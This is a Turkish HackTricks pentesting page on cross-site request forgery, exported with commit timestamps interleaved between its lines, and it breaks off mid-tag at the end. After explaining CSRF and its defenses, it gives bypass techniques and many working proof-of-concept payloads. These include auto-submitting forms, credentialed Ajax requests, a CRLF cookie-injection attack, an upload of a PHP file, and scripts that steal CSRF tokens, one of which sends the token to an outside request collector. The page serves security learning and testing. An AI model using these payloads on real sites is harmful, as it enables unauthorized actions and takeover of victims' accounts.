2022-04-28 23:27:22 +00:00
# CSRF (Cross Site Request Forgery)
2022-04-28 16:01:33 +00:00
< details >
2024-02-23 16:46:32 +00:00
< summary > < strong > AWS hacklemeyi sı fı rdan kahramana öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > ile!< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları :
2023-12-31 01:25:17 +00:00
2024-02-23 16:46:32 +00:00
* **Şirketinizi HackTricks'te reklamı nı zı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI** ](https://github.com/sponsors/carlospolop )'na göz atı n!
2024-04-07 03:13:19 +00:00
* [**Resmi PEASS & HackTricks ürünleri** ](https://peass.creator-spring.com )'ni edinin
2024-02-23 16:46:32 +00:00
* [**PEASS Ailesi'ni** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuzu
* **Bize katı lı n** 💬 [**Discord grubunda** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubunda** ](https://t.me/peass ) veya bizi **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )'da **takip edin** .
* **Hacking püf noktaları nı zı göndererek HackTricks ve HackTricks Cloud github depoları na PR göndererek paylaşı n.**
2022-04-28 16:01:33 +00:00
< / details >
2024-04-07 03:13:19 +00:00
< figure > < img src = "../.gitbook/assets/image (377).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-02-27 09:28:45 +00:00
2024-02-23 16:46:32 +00:00
Deneyimli hackerlar ve ödül avcı ları ile iletişim kurmak için [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) sunucusuna katı lı n!
2023-02-27 09:28:45 +00:00
2024-04-07 03:13:19 +00:00
**Hacking İçgörüleri**\
Hacking'in heyecanı na ve zorlukları na inen içeriklerle etkileşime girin
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
**Gerçek Zamanlı Hack Haberleri**\
2024-04-07 03:13:19 +00:00
Hı zla değişen hacking dünyası nda gerçek zamanlı haberler ve içgörülerle güncel kalı n
2023-07-14 15:03:41 +00:00
2024-02-10 18:14:16 +00:00
**En Son Duyurular**\
2024-04-07 03:13:19 +00:00
Başlatı lan en yeni ödül avcı lı kları ve önemli platform güncellemeleri hakkı nda bilgi sahibi olun
2022-10-27 23:22:18 +00:00
2024-04-07 03:13:19 +00:00
**Bize katı lı n** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ) ve bugün en iyi hackerlarla işbirliğine başlayı n!
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
## Cross-Site Request Forgery (CSRF) Açı klaması
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
**Cross-Site Request Forgery (CSRF)**, web uygulamaları nda bulunan bir güvenlik açı ğı türüdür. Bu açı k, saldı rganları n kimlik doğrulanmı ş oturumları nı sömürerek habersiz kullanı cı lar adı na işlemler gerçekleştirmesine olanak tanı r. Saldı rı , bir kullanı cı nı n, bir kurbanı n platformuna oturum açmı ş olduğu sı rada kötü niyetli bir siteyi ziyaret etmesiyle gerçekleştirilir. Bu site daha sonra, JavaScript yürüterek, formlar göndererek veya resimler getirerek kurbanı n hesabı na istekler gönderir.
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### CSRF Saldı rı sı için Önkoşullar
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
CSRF açı ğı ndan yararlanmak için birkaç koşulun sağlanması gerekir:
2024-02-23 16:46:32 +00:00
2024-04-07 03:13:19 +00:00
1. **Değerli Bir Eylemi Tanı mlama** : Saldı rganı n, kullanı cı nı n şifresini, e-postası nı değiştirmek veya ayrı calı kları yükseltmek gibi sömürülecek bir eylemi bulması gerekir.
2024-02-10 18:14:16 +00:00
2. **Oturum Yönetimi** : Kullanı cı nı n oturumu yalnı zca çerezler veya HTTP Temel Kimlik Doğrulama başlı ğı aracı lı ğı yla yönetilmelidir, diğer başlı klar bu amaçla manipüle edilemez.
2024-04-07 03:13:19 +00:00
3. **Tahmin Edilemeyen Parametrelerin Yokluğu** : İstek, saldı rı yı engelleyebilecek tahmin edilemeyen parametreler içermemelidir.
2024-02-23 16:46:32 +00:00
### Hı zlı Kontrol
**Burp'ta isteği yakalayabilir** ve CSRF korumaları nı kontrol edebilir ve tarayı cı dan test etmek için **Fetch olarak kopyala** 'ya tı klayabilir ve isteği kontrol edebilirsiniz:
2024-04-07 03:13:19 +00:00
< figure > < img src = "../.gitbook/assets/image (8).png" alt = "" > < figcaption > < / figcaption > < / figure >
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### CSRF'ye Karşı Savunma
2024-02-23 16:46:32 +00:00
2024-03-17 16:37:08 +00:00
CSRF saldı rı ları na karşı korunmak için çeşitli karşı önlemler alı nabilir:
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
* [**SameSite çerezleri** ](hacking-with-cookies/#samesite ): Bu özellik, tarayı cı nı n çerezleri çapraz site istekleriyle birlikte göndermesini engeller. [SameSite çerezleri hakkı nda daha fazla bilgi ](hacking-with-cookies/#samesite ).
2024-04-07 03:13:19 +00:00
* [**Cross-origin resource sharing** ](cors-bypass.md ): Kurban sitesinin CORS politikası , saldı rı nı n gerçekleştirilmesi için kurban sitesinden yanı tı n okunması nı gerektiriyorsa saldı rı nı n uygulanabilirliğini etkileyebilir. [CORS atlatma hakkı nda bilgi edinin ](cors-bypass.md ).
2024-02-23 16:46:32 +00:00
* **Kullanı cı Doğrulaması **: Kullanı cı nı n niyetini doğrulamak için şifresini sormak veya bir captcha çözdürmek önemli olabilir.
2024-04-07 03:13:19 +00:00
* **Referrer veya Origin Başlı kları nı Kontrol Etme**: Bu başlı kları doğrulamak, isteklerin güvenilir kaynaklardan geldiğinden emin olmaya yardı mcı olabilir. Ancak, URL'lerin dikkatli bir şekilde oluşturulması , kötü uygulanan kontrolleri atlayabilir, örneğin:
* `http://mal.net?orig=http://example.com` (URL güvenilen URL ile biter)
* `http://example.com.mal.net` (URL güvenilen URL ile başlar)
2024-02-23 16:46:32 +00:00
* **Parametre Adları nı Değiştirme**: POST veya GET isteklerinde parametre adları nı değiştirmek, otomatik saldı rı ları önlemede yardı mcı olabilir.
2024-04-07 03:13:19 +00:00
* **CSRF Token'ları **: Her oturuma benzersiz bir CSRF token eklemek ve bu token'ı sonraki isteklerde gerektirmek, CSRF riskini önemli ölçüde azaltabilir. Token'ı n etkinliği, CORS'un zorunlu kı lı nması yla artı rı labilir.
2020-07-15 15:43:14 +00:00
2024-02-23 16:46:32 +00:00
Bu savunmaları anlamak ve uygulamak, web uygulamaları nı n güvenliğini ve bütünlüğünü korumak için hayati önem taşı r.
2020-07-15 15:43:14 +00:00
2024-02-23 16:46:32 +00:00
## Savunmaları Atlatma
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### POST'tan GET'e
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
Belki de istismar etmek istediğiniz form, bir **CSRF token ile POST isteği göndermeye hazı rlanmı ştı r ancak** , bir **GET** 'in de **geçerli olup olmadı ğı nı kontrol etmelisiniz** ve GET isteği gönderdiğinizde **CSRF token'ı n hala doğrulandı ğı nı kontrol edin** .
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
### Token eksikliği
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
Uygulamalar, var oldukları nda **token'ları doğrulamak** için bir mekanizma uygulayabilir. Ancak, token yokken doğrulamanı n tamamen atlandı ğı bir güvenlik açı ğı ortaya çı kabilir. Saldı rganlar, token'ı taşı yan parametreyi sadece değerini değil, parametreyi kaldı rarak bu doğrulama sürecini atlayabilir. Bu, saldı rganları n doğrulama sürecini atlayarak Cross-Site Request Forgery (CSRF) saldı rı sı nı etkili bir şekilde gerçekleştirmesine olanak tanı r.
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
### CSRF token'ı kullanı cı oturumuna bağlı değil
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
Uygulamalar, CSRF token'ları nı kullanı cı oturumları na bağlamayarak önemli bir **güvenlik riski** oluşturabilir. Bu sistemler, her token'ı n başlatan oturuma bağlı olması nı sağlamak yerine token'ları genel bir havuzda doğrular.
2024-02-05 20:00:40 +00:00
2024-02-23 16:46:32 +00:00
Saldı rganları n bunu nası l sömürdüğü:
2024-02-05 20:00:40 +00:00
2024-02-23 16:46:32 +00:00
1. Kendi hesapları yla **kimlik doğrulama** yaparlar.
2024-04-07 03:13:19 +00:00
2. Genel havuzdan geçerli bir CSRF token **alı rlar** .
3. Bu token'ı bir kurban üzerindeki CSRF saldı rı sı nda **kullanı rlar** .
2024-02-05 20:00:40 +00:00
2024-04-07 03:13:19 +00:00
Bu zayı f token doğrulama mekanizması nı sömürerek saldı rganları n kurban adı na yetkisiz istekler yapması na olanak tanı r.
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### Yöntem atlatma
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
Eğer istek "**garip**" bir **yöntem** kullanı yorsa, **yöntem geçersizleştirme işlevinin çalı şı p çalı şmadı ğı nı kontrol edin** . Örneğin, **PUT** yöntemini kullanı yorsa **POST** yöntemini deneyebilir ve şunu **gönderebilirsiniz** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
Bu ayrı ca **_method parametresini POST isteği içine yerleştirerek** veya **başlı kları kullanarak** çalı şabilir:
2020-07-15 15:43:14 +00:00
* _X-HTTP-Method_
* _X-HTTP-Method-Override_
* _X-Method-Override_
2024-04-07 03:13:19 +00:00
### Özel başlı k token atlatma
2024-02-23 16:46:32 +00:00
2024-04-07 03:13:19 +00:00
Eğer istek, **CSRF koruma yöntemi olarak** bir **özel başlı kta token** ekliyorsa, o zaman:
2024-02-23 16:46:32 +00:00
2024-04-07 03:13:19 +00:00
* İsteği **Özel Token ve başlı k olmadan** test edin.
* Aynı uzunlukta fakat farklı bir token ile isteği test edin.
2024-02-23 16:46:32 +00:00
2024-04-07 03:13:19 +00:00
### CSRF token'ı bir çerez tarafı ndan doğrulanı yor
2024-02-23 16:46:32 +00:00
2024-04-07 03:13:19 +00:00
Uygulamalar, CSRF koruması nı , hem bir çerezde hem de bir istek parametresinde token'ı çoğaltarak veya bir CSRF çerezi ayarlayarak ve backend'de gönderilen token'ı n çerezle eşleşip eşleşmediğini doğrulayarak uygulayabilir. Uygulama, isteğin token'ı nı n, çerezdeki değerle uyumlu olup olmadı ğı nı kontrol ederek istekleri doğrular.
2024-02-23 16:46:32 +00:00
2024-04-07 03:13:19 +00:00
Ancak, bu yöntem, bir CRLF güvenlik açı ğı gibi bir saldı rganı n kurbanı n tarayı cı sı nda bir CSRF çerezi ayarlaması na izin veren web sitesi hataları na sahipse CSRF saldı rı ları na karşı savunması zdı r. Saldı rgan, çerezi ayarlayan aldatı cı bir resim yükleyerek ve ardı ndan CSRF saldı rı sı nı başlatarak bunu sömürebilir.
2024-02-23 16:46:32 +00:00
Aşağı da, bir saldı rı nı n nası l yapı landı rı labileceğine dair bir örnek bulunmaktadı r:
2021-11-30 16:46:07 +00:00
```html
< html >
2024-02-10 18:14:16 +00:00
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
< body >
< script > history . pushState ( '' , '' , '/' ) < / script >
< form action = "https://example.com/my-account/change-email" method = "POST" >
< input type = "hidden" name = "email" value = "asd@asd.asd" / >
< input type = "hidden" name = "csrf" value = "tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" / >
< input type = "submit" value = "Submit request" / >
< / form >
< img src = "https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror = "document.forms[0].submit();" / >
< / body >
2021-11-30 16:46:07 +00:00
< / html >
2024-02-05 20:00:40 +00:00
2021-11-30 16:46:07 +00:00
```
{% hint style="info" %}
2024-04-07 03:13:19 +00:00
Not: Eğer **csrf belirteci oturum çerezi ile ilişkilendirilmişse bu saldı rı çalı şmayacaktı r** çünkü kurbanı n oturumunu ayarlamanı z gerekecek ve dolayı sı yla kendinize saldı rı gerçekleştirmiş olacaksı nı z.
2021-11-30 16:46:07 +00:00
{% endhint %}
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### Content-Type değişikliği
2020-08-10 09:56:57 +00:00
2024-04-07 03:13:19 +00:00
[**Buna** ](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests ) göre, **POST** yöntemini kullanarak **önyükleme** isteklerini **önlemek** için izin verilen Content-Type değerleri şunlardı r:
2021-05-29 20:00:49 +00:00
2024-02-23 16:46:32 +00:00
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
2021-05-29 20:00:49 +00:00
2024-03-17 16:37:08 +00:00
Ancak, **Sunucunun mantı ğı ** kullanı lan **Content-Type** 'a bağlı olarak değişebilir, bu yüzden belirtilen değerleri ve ** `application/json` **_**,**_**`text/xml`**, ** `application/xml` **_._ gibi diğer değerleri denemelisiniz.
2022-04-22 08:32:18 +00:00
2024-04-07 03:13:19 +00:00
JSON verilerini text/plain olarak gönderme örneği ([buradan](https://brycec.me/posts/corctf\_2021\_challenges)):
2022-04-22 08:32:18 +00:00
```html
< html >
2024-02-10 18:14:16 +00:00
< body >
< form id = "form" method = "post" action = "https://phpme.be.ax/" enctype = "text/plain" >
< input name = '{"garbageeeee":"' value = '", "yep": "yep yep yep", "url": "https://webhook/"}' >
< / form >
< script >
form.submit();
< / script >
< / body >
2022-04-22 08:32:18 +00:00
< / html >
```
2024-02-23 16:46:32 +00:00
### JSON Verileri için Preflight İsteklerinin Atlatı lması
2022-04-22 08:32:18 +00:00
2024-04-07 03:13:19 +00:00
JSON verilerini POST isteği aracı lı ğı yla göndermeye çalı şı rken, HTML formunda `Content-Type: application/json` kullanmak doğrudan mümkün değildir. Benzer şekilde, bu içerik türünü göndermek için `XMLHttpRequest` kullanmak bir preflight isteği başlatı r. Bununla birlikte, sunucunun JSON verilerini işleyip işlemediğini Content-Type'a bakı lmaksı zı n kontrol etmek için bu kı sı tlamayı potansiyel olarak atlatmanı n stratejileri bulunmaktadı r:
2021-10-05 10:00:17 +00:00
2024-02-23 16:46:32 +00:00
1. **Alternatif İçerik Türleri Kullanma** : Formda `enctype="text/plain"` ayarlayarak `Content-Type: text/plain` veya `Content-Type: application/x-www-form-urlencoded` kullanı n. Bu yaklaşı m, sunucunun Content-Type'a bakı lmaksı zı n verileri kullanı p kullanmadı ğı nı test eder.
2024-03-17 16:37:08 +00:00
2. **İçerik Türünü Değiştirme** : Sunucunun içeriği JSON olarak tanı dı ğı ndan emin olurken preflight isteğini önlemek için verileri `Content-Type: text/plain; application/json` ile gönderebilirsiniz. Bu bir preflight isteği başlatmaz ancak sunucunun `application/json` 'ı kabul etmek için yapı landı rı lmı şsa doğru şekilde işleyebilir.
2024-04-07 03:13:19 +00:00
3. **SWF Flash Dosyası Kullanı mı ** : Daha az yaygı n ancak mümkün olan bir yöntem, bu tür kı sı tlamaları atlamak için SWF flash dosyası kullanmaktı r. Bu teknik hakkı nda detaylı bilgi için [bu yazı ya ](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937 ) başvurabilirsiniz.
2021-10-05 10:00:17 +00:00
2024-02-23 16:46:32 +00:00
### Referrer / Origin kontrolünü atlatma
2022-02-21 15:48:28 +00:00
2024-02-23 16:46:32 +00:00
**Referrer Başlı ğı nı Kullanmamak**
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Uygulamalar, 'Referer' başlı ğı nı yalnı zca var olduğunda doğrulayabilir. Tarayı cı nı n bu başlı ğı göndermesini engellemek için aşağı daki HTML meta etiketi kullanı labilir:
2024-02-05 20:00:40 +00:00
```xml
2020-07-15 15:43:14 +00:00
< meta name = "referrer" content = "never" >
```
2024-04-07 03:13:19 +00:00
Bu, bazı uygulamalardaki doğrulama kontrollerini atlayarak 'Referer' başlı ğı nı n atlanması nı sağlar.
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
**Regexp atlamaları **
2020-07-15 15:43:14 +00:00
2022-02-13 12:30:13 +00:00
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md ](ssrf-server-side-request-forgery/url-format-bypass.md )
{% endcontent-ref %}
2020-07-15 15:43:14 +00:00
2024-02-23 16:46:32 +00:00
Sunucunun alan adı nı , Referrer'ı n parametreler içinde göndereceği URL'de ayarlamak için şunu yapabilirsiniz:
2021-11-30 16:46:07 +00:00
```html
< html >
2024-02-10 18:14:16 +00:00
<!-- Referrer policy needed to send the qury parameter in the referrer -->
< head > < meta name = "referrer" content = "unsafe-url" > < / head >
< body >
< script > history . pushState ( '' , '' , '/' ) < / script >
< form action = "https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method = "POST" >
< input type = "hidden" name = "email" value = "asd@asd.asd" / >
< input type = "submit" value = "Submit request" / >
< / form >
< script >
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
< / script >
< / body >
2021-11-30 16:46:07 +00:00
< / html >
```
2024-02-23 16:46:32 +00:00
### **HEAD method bypass**
2021-11-30 16:46:07 +00:00
2024-04-07 03:13:19 +00:00
Bu [**CTF çözümü** ](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution ) 'nün ilk kı smı nda [Oak'ı n kaynak kodu ](https://github.com/oakserver/oak/blob/main/router.ts#L281 ), bir yönlendirici **HEAD isteklerini yanı tsı z GET istekleri olarak işlemek üzere ayarlandı ğı ** açı klanmı ştı r - bu, Oak'a özgü olmayan yaygı n bir çözümdür. HEAD isteklerini işleyen özel bir işleyici yerine, bunlar sadece **GET işleyiciye verilir ancak uygulama yanı t gövdesini kaldı rı r** .
2022-10-27 23:22:18 +00:00
2024-04-07 03:13:19 +00:00
Dolayı sı yla, bir GET isteği sı nı rlanı yorsa, sadece **GET isteği olarak işlenen bir HEAD isteği gönderebilirsiniz** .
2020-07-15 15:43:14 +00:00
2024-02-23 16:46:32 +00:00
## **Sömürü Örnekleri**
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
### **CSRF Belirteci Sı zdı rma**
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
Eğer bir **CSRF belirteci** kullanı lı yorsa **savunma** olarak, [**XSS** ](xss-cross-site-scripting/#xss-stealing-csrf-tokens ) zafiyeti veya [**Dangling Markup** ](dangling-markup-html-scriptless-injection/ ) zafiyetini istismar ederek onu **sı zdı rmayı ** deneyebilirsiniz.
2020-07-15 15:43:14 +00:00
2024-02-23 16:46:32 +00:00
### **HTML etiketleri kullanarak GET**
2024-02-05 20:00:40 +00:00
```xml
2021-10-05 10:00:17 +00:00
< img src = "http://google.es?param=VALUE" style = "display:none" / >
2020-07-15 15:43:14 +00:00
< h1 > 404 - Page not found< / h1 >
The URL you are requesting is no longer available
```
2024-02-10 18:14:16 +00:00
Diğer HTML5 etiketleri, otomatik olarak bir GET isteği göndermek için kullanı labilir:
2024-02-05 20:00:40 +00:00
```html
< iframe src = "..." > < / iframe >
< script src = "..." > < / script >
< img src = "..." alt = "" >
< embed src = "..." >
< audio src = "..." >
< video src = "..." >
< source src = "..." type = "..." >
< video poster = "..." >
< link rel = "stylesheet" href = "..." >
< object data = "..." >
< body background = "..." >
< div style = "background: url('...');" > < / div >
< style >
2024-02-10 18:14:16 +00:00
body { background: url('...'); }
2024-02-05 20:00:40 +00:00
< / style >
< bgsound src = "..." >
< track src = "..." kind = "subtitles" >
< input type = "image" src = "..." alt = "Submit Button" >
```
2024-02-10 18:14:16 +00:00
### Form GET isteği
2024-02-05 20:00:40 +00:00
```html
2020-07-15 15:43:14 +00:00
< html >
2024-02-10 18:14:16 +00:00
<!-- CSRF PoC - generated by Burp Suite Professional -->
< body >
< script > history . pushState ( '' , '' , '/' ) < / script >
< form method = "GET" action = "https://victim.net/email/change-email" >
< input type = "hidden" name = "email" value = "some@email.com" / >
< input type = "submit" value = "Submit request" / >
< / form >
< script >
document.forms[0].submit();
< / script >
< / body >
2020-07-15 15:43:14 +00:00
< / html >
```
2024-02-10 18:14:16 +00:00
### Form POST isteği
2024-02-05 20:00:40 +00:00
```html
2020-07-15 15:43:14 +00:00
< html >
2024-02-10 18:14:16 +00:00
< body >
< script > history . pushState ( '' , '' , '/' ) < / script >
< form method = "POST" action = "https://victim.net/email/change-email" id = "csrfform" >
< input type = "hidden" name = "email" value = "some@email.com" autofocus onfocus = "csrfform.submit();" / > <!-- Way 1 to autosubmit -->
< input type = "submit" value = "Submit request" / >
< img src = x onerror = "csrfform.submit();" / > <!-- Way 2 to autosubmit -->
< / form >
< script >
document.forms[0].submit(); //Way 3 to autosubmit
< / script >
< / body >
2020-07-15 15:43:14 +00:00
< / html >
2021-06-04 23:20:57 +00:00
```
2024-04-07 03:13:19 +00:00
### Iframe aracı lı ğı yla Form POST isteği
2024-02-05 20:00:40 +00:00
```html
2024-02-10 18:14:16 +00:00
<!--
The request is sent through the iframe withuot reloading the page
2021-06-04 23:20:57 +00:00
-->
< html >
2024-02-10 18:14:16 +00:00
< body >
< iframe style = "display:none" name = "csrfframe" > < / iframe >
< form method = "POST" action = "/change-email" id = "csrfform" target = "csrfframe" >
< input type = "hidden" name = "email" value = "some@email.com" autofocus onfocus = "csrfform.submit();" / >
< input type = "submit" value = "Submit request" / >
< / form >
< script >
document.forms[0].submit();
< / script >
< / body >
2021-06-04 23:20:57 +00:00
< / html >
2020-07-15 15:43:14 +00:00
```
2024-02-10 18:14:16 +00:00
### **Ajax POST isteği**
2024-02-05 20:00:40 +00:00
```html
2020-07-15 15:43:14 +00:00
< script >
var xh;
if (window.XMLHttpRequest)
2024-02-10 18:14:16 +00:00
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
2020-07-15 15:43:14 +00:00
else
2024-02-10 18:14:16 +00:00
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
2021-06-05 01:10:15 +00:00
xh.withCredentials = true;
2020-07-15 15:43:14 +00:00
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
< / script >
2021-06-05 01:10:15 +00:00
< script >
//JQuery version
$.ajax({
2024-02-10 18:14:16 +00:00
type: "POST",
url: "https://google.com",
data: "param=value& param2=value2"
2021-06-05 01:10:15 +00:00
})
< / script >
2020-07-15 15:43:14 +00:00
```
2024-02-10 18:14:16 +00:00
### multipart/form-data POST isteği
2020-07-15 15:43:14 +00:00
```javascript
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?> "], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
2024-02-10 18:14:16 +00:00
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
2020-07-15 15:43:14 +00:00
});
```
2024-02-10 18:14:16 +00:00
### multipart/form-data POST isteği v2
2020-07-15 15:43:14 +00:00
```javascript
2024-02-05 20:00:40 +00:00
// https://www.exploit-db.com/exploits/20009
2020-07-15 15:43:14 +00:00
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
2021-06-05 01:10:15 +00:00
xhr.withCredentials = true;
2020-07-15 15:43:14 +00:00
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
2024-02-23 16:46:32 +00:00
### Bir iframe içinden Form POST isteği
2024-02-05 20:00:40 +00:00
```html
2020-07-15 15:43:14 +00:00
< -- ! expl . html -- >
< body onload = "envia()" >
< form method = "POST" id = "formulario" action = "http://aplicacion.example.com/cambia_pwd.php" >
< input type = "text" id = "pwd" name = "pwd" value = "otra nueva" >
< / form >
< body >
< script >
function envia(){document.getElementById("formulario").submit();}
< / script >
<!-- public.html -->
< iframe src = "2-1.html" style = "position:absolute;top:-5000" >
< / iframe >
< h1 > Sitio bajo mantenimiento. Disculpe las molestias< / h1 >
```
2024-02-23 16:46:32 +00:00
### **CSRF Token'un Çalı nması ve Bir POST İsteği Gönderilmesi**
2020-07-15 15:43:14 +00:00
```javascript
function submitFormWithTokenJS(token) {
2024-02-10 18:14:16 +00:00
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE & & xhr.status === 200) {
//console.log(xhr.responseText);
}
}
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
xhr.send("token=" + token + "&otherparama=heyyyy");
2020-07-15 15:43:14 +00:00
}
function getTokenJS() {
2024-02-10 18:14:16 +00:00
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE & & xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
2020-07-15 15:43:14 +00:00
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
2024-04-07 03:13:19 +00:00
### **CSRF Token'unu çalma ve bir iframe, bir form ve Ajax kullanarak bir Post isteği gönderme**
2024-02-05 20:00:40 +00:00
```html
2020-07-15 15:43:14 +00:00
< form id = "form1" action = "http://google.com?param=VALUE" method = "post" enctype = "multipart/form-data" >
< input type = "text" name = "username" value = "AA" >
< input type = "checkbox" name = "status" checked = "checked" >
< input id = "token" type = "hidden" name = "token" value = "" / >
< / form >
< script type = "text/javascript" >
function f1(){
2024-02-10 18:14:16 +00:00
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
2020-07-15 15:43:14 +00:00
}
2024-02-10 18:14:16 +00:00
< / script >
2020-07-15 15:43:14 +00:00
< iframe id = "i1" style = "display:none" src = "http://google.com?param=VALUE" onload = "javascript:f1();" > < / iframe >
```
2024-04-07 03:13:19 +00:00
### **CSRF Token'unu Çalma ve bir iframe ve bir form kullanarak bir POST isteği gönderme**
2024-02-05 20:00:40 +00:00
```html
2020-07-15 15:43:14 +00:00
< iframe id = "iframe" src = "http://google.com?param=VALUE" width = "500" height = "500" onload = "read()" > < / iframe >
2024-02-10 18:14:16 +00:00
< script >
2020-07-15 15:43:14 +00:00
function read()
{
2024-02-10 18:14:16 +00:00
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('< form width = "0" height = "0" method = "post" action = "http://www.yoursebsite.com/check.php" enctype = "multipart/form-data" > ');
document.writeln('< input id = "username" type = "text" name = "username" value = "' + name + '" / > < br / > ');
document.writeln('< input id = "token" type = "hidden" name = "token" value = "' + token + '" / > ');
document.writeln('< input type = "submit" name = "submit" value = "Submit" / > < br / > ');
document.writeln('< / form > ');
document.forms[0].submit.click();
2020-07-15 15:43:14 +00:00
}
< / script >
```
2024-04-07 03:13:19 +00:00
### **Token'ı çal ve 2 iframe kullanarak gönder**
2024-02-05 20:00:40 +00:00
```html
2020-07-15 15:43:14 +00:00
< script >
var token;
function readframe1(){
2024-02-10 18:14:16 +00:00
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
2020-07-15 15:43:14 +00:00
}
function loadframe2(){
2024-02-10 18:14:16 +00:00
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
2020-07-15 15:43:14 +00:00
}
< / script >
2024-02-10 18:14:16 +00:00
< iframe id = "frame1" name = "frame1" src = "http://google.com?param=VALUE" onload = "readframe1()"
2020-07-15 15:43:14 +00:00
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800">< / iframe >
2024-02-10 18:14:16 +00:00
< iframe id = "frame2" name = "frame2"
2020-07-15 15:43:14 +00:00
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800">< / iframe >
< body onload = "document.forms[0].submit()" >
< form id = "bypass" name " bypass " method = "POST" target = "frame2" action = "http://google.com?param=VALUE" enctype = "multipart/form-data" >
